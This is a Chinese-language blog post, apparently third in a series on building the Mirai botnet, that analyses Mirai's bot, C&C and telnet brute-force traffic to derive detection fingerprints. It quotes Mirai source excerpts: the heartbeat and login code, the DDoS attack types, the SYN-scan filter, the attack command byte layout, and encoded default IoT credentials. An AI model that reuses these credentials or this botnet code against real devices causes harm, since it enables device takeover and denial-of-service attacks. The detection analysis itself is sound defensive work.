Build Mirai botnet (III): Traffic and Fingerprint
[Misc]
前两篇文章介绍了Mirai Botnet环境搭配、源码编译及修正、使用说明等。
Build Mirai botnet (I): Compile Mirai Source
Build Mirai botnet (II): Bruteforce and DDoS Attack
本篇从流量和源码两个方面分析并提取Mirai各组件指纹。
Bot上线
发送方 | 协议 | 数据 |
---|---|---|
bot | telnet | \x00\x00\x00\x01 |
cnc | tcp | ack |
bot | telnet | \x00 |
cnc | tcp | ack |
进行三次握手之后,发送两次telnet数据,返回ack:
源码
上线包分为三个部分,其中首次连接时id_len==0
,实际只发送两个telnet包。
main.c line 263
send(fd_serv, "\x00\x00\x00\x01", 4, MSG_NOSIGNAL);
send(fd_serv, &id_len, sizeof (id_len), MSG_NOSIGNAL); // id_len is 0
if (id_len > 0)
{
send(fd_serv, id_buf, id_len, MSG_NOSIGNAL);
}
Bot心跳
- 特征:间隔时间60s
发送方 | 协议 | 数据 |
---|---|---|
bot | telnet | /x00/x00 |
cnc | telnet | /x00/x00 |
bot | tcp | ack |
在未收到cnc的指令时,bot默认每隔60秒与cnc沟通一次。
源码中进行select操作之前等待10秒,如果select结果为0,则按6次的循环周期发送心跳包。
main.c line 193
timeo.tv_usec = 0;
timeo.tv_sec = 10; // wait 10 seconds
nfds = select(mfd + 1, &fdsetrd, &fdsetwr, NULL, &timeo);
if (nfds == -1)
{
#ifdef DEBUG
printf("select() errno = %d\n", errno);
#endif
continue;
}
else if (nfds == 0)
{
uint16_t len = 0;
if (pings++ % 6 == 0) // 60 sec a loop
send(fd_serv, &len, sizeof (len), MSG_NOSIGNAL);
}
用户登入CNC
这里数据量较大,整体沟通过程如下图所示,我们按图中数据按蓝色部分分为四快,并逐块分析之。
block 1
cnc向bot发送三个telnet包
指纹:
发送方 | 协议 | 数据 |
---|---|---|
cnc | telnet | .[?1049h |
cnc | telnet | \xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22 |
cnc | telnet | data from prompt.txt |
第一条数据设置命令行文字输出颜色, 第二条数据设置telnet的行为, 第三条数据是从prompt.txt中读取的用户提示信息(前两篇提到过)
源码分析
admin.go line 20
func (this *Admin) Handle() {
this.conn.Write([]byte("\033[?1049h")) //set message's color
this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22")) //tell telnet how to print message
defer func() {
this.conn.Write([]byte("\033[?1049l"))
}()
headerb, err := ioutil.ReadFile("prompt.txt")
if err != nil {
return
}
header := string(headerb)
this.conn.Write([]byte(strings.Replace(strings.Replace(header, "\r\n", "\n", -1), "\n", "\r\n", -1))) // send prompt data
block 2
提示用户输入用户名
发送方 | 协议 | 数据 |
---|---|---|
cnc | telnet | \033[34;1mпользователь\033[33;3m: \033[0m |
提示用户登录输入用户名, 然后user逐个字符发送用户名,cnc接收后返回。
admin.go line 37
this.conn.SetDeadline(time.Now().Add(60 * time.Second))
this.conn.Write([]byte("\033[34;1mпользователь\033[33;3m: \033[0m")) //输入用户名
username, err := this.ReadLine(false) //接受用户输入
if err != nil {
return
}
block 3
提示用户输入密码
发送方 | 协议 | 数据 |
---|---|---|
cnc | telnet | \033[34;1mпароль\033[33;3m: \033[0m |
admin.go line 45
this.conn.SetDeadline(time.Now().Add(60 * time.Second))
this.conn.Write([]byte("\033[34;1mпароль\033[33;3m: \033[0m"))
password, err := this.ReadLine(true)
if err != nil {
return
}
block 4
接下来我们看图中剩余的一大块蓝色部分
发送方 | 协议 | 数据 |
---|---|---|
cnc | telnet | \033[37;1mпроверив счета... \033[31m |
该数据重复发送多次,只是为了在末尾做出一个“加载中”的动态旋转效果。
this.conn.SetDeadline(time.Now().Add(120 * time.Second))
this.conn.Write([]byte("\r\n"))
spinBuf := []byte{'-', '\\', '|', '/'}
for i := 0; i < 15; i++ {
this.conn.Write(append([]byte("\r\033[37;1mпроверив счета... \033[31m"), spinBuf[i % len(spinBuf)]))
time.Sleep(time.Duration(300) * time.Millisecond)
}
登录成功后的部分提示信息也可作为指纹
发送方 | 协议 | 数据 |
---|---|---|
cnc | telnet | [+] DDOS |
cnc | telnet | Wiping env libc.poison.so |
block 5
cnc与用户之间的"心跳",每秒更新一次当前bot的数量。
- 特征:每秒发送一次
发送方 | 协议 | 数据 |
---|---|---|
cnc | telnet | Bots Connected |
admin.go line 95
time.Sleep(time.Second)
if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d Bots Connected | %s\007", BotCount, username))); err != nil {
this.conn.Close()
break
}
CNC下发攻击指令
这里因为攻击指令很多,情况较复杂,没有固定化的指纹,先看沟通过程。
双方先互换/x00/x00
确认,然后cnc向bot发送一条攻击指令。
攻击指令:
按数据的构造顺序
名称 | 长度(Byte) |
---|---|
duration | 4 |
attack_type | 1 |
target_num | 1 |
target_IP | 4 |
mask | 1 |
flag_num | 1 |
flag | 2 |
total_length | 2 |
如果target_num和flag_num不为1的话,下面的IP,MASK,FLAG会按格式循环出现,如
[target_num] 02 [IP] 08 08 08 08 [MASK] 20 [IP] 07 07 07 07 [MASK] 20
图中数据对应的攻击指令为
udp 8.8.8.8 1 dport=55
相关源码位置:
attack.go line 318 func (this *Attack) Build() ([]byte, error)
攻击类型
共支持11种攻击方式(其中8已被取消)
bot/attack.h line 34
#define ATK_VEC_UDP 0 /* Straight up UDP flood */
#define ATK_VEC_VSE 1 /* Valve Source Engine query flood */
#define ATK_VEC_DNS 2 /* DNS water torture */
#define ATK_VEC_SYN 3 /* SYN flood with options */
#define ATK_VEC_ACK 4 /* ACK flood */
#define ATK_VEC_STOMP 5 /* ACK flood to bypass mitigation devices */
#define ATK_VEC_GREIP 6 /* GRE IP flood */
#define ATK_VEC_GREETH 7 /* GRE Ethernet flood */
//#define ATK_VEC_PROXY 8 /* Proxy knockback connection */
#define ATK_VEC_UDP_PLAIN 9 /* Plain UDP flood optimized for speed */
#define ATK_VEC_HTTP 10 /* HTTP layer 7 flood */
Bot发起攻击
- 特征:存在DoS攻击流量
Bot解析CNC的指令并发起攻击
Telnet爆破
- 特征:存在syn扫描、telnet爆破流量
Bot感染之后会自动寻找目标进行telnet爆破,其随机生成目标之后,采用tcp-syn-scan方式进行telnet探测,随后使用内置的小字典进行暴力破解,成功之后会将爆破结果发送给report服务器,同时在受害者的主机执行命令,将其感染为bot。
Mirai使用一种"改良版"的syn扫描来提高探测速度:
scanner.c
line 52
if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))
continue;
if (iph->daddr != LOCAL_ADDR)
continue;
if (iph->protocol != IPPROTO_TCP)
continue;
if (tcph->source != htons(23) && tcph->source != htons(2323))
continue;
if (tcph->dest != source_port)
continue;
if (!tcph->syn)
continue;
if (!tcph->ack)
continue;
if (tcph->rst)
continue;
if (tcph->fin)
continue;
if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
continue;
其内置密码60条,包含常见弱口令及一些物联网设备的默认密码。
源码scanner.c line 124
// Set up passwords
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root xc3511
add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8); // root admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7); // admin admin
add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6); // root 888888
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5); // root xmhdipc
...
这一步的沟通过程:
建立tcp握手之后,仅进行一次登录尝试,然后发送一系列命令判断是否登录成功。
指纹: 连续发送以下指令可匹配Bot身份
发送方 | 协议 | 数据 |
---|---|---|
bot | telnet | enable. |
bot | telnet | system. |
bot | telnet | shell. |
bot | telnet | /bin/busybox MIRAI. |
其中由于telnet设备各异,大多数请况下Bot发送到第三条指纹就被断开连接。
总结
CNC
心跳(入流量)
- 特征:间隔时间60s
发送方 | 协议 | 数据 |
---|---|---|
bot | telnet | /x00/x00 |
cnc | telnet | /x00/x00 |
bot | tcp | ack |
用户提示(出流量)
发送方 | 协议 | 数据 |
---|---|---|
cnc | telnet | \xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22 |
cnc | telnet | [+] DDOS |
cnc | telnet | Wiping env libc.poison.so |
cnc | telnet | \033[34;1mпользователь\033[33;3m: \033[0m |
cnc | telnet | \033[34;1mпароль\033[33;3m: \033[0m |
用户消息推送(出流量)
- 特征:每秒发送一次
发送方 | 协议 | 数据 |
---|---|---|
cnc | telnet | Bots Connected |
开放端口
端口 | 协议 | 服务 |
---|---|---|
23 | tcp | telnet |
101 | tcp | telnet |
Bot
心跳(出流量)
- 特征:间隔时间60s
发送方 | 协议 | 数据 |
---|---|---|
bot | telnet | /x00/x00 |
cnc | telnet | /x00/x00 |
bot | tcp | ack |
telnet爆破(出流量)
- 特征:大量、连续发送以下数据
发送方 | 协议 | 数据 |
---|---|---|
bot | telnet | enable. |
bot | telnet | system. |
bot | telnet | shell. |
bot | telnet | /bin/busybox MIRAI. |
存在syn扫描及DoS流量(出流量)
Report
开放端口
端口 | 协议 | 服务 |
---|---|---|
48101 | tcp | tcpwrapped |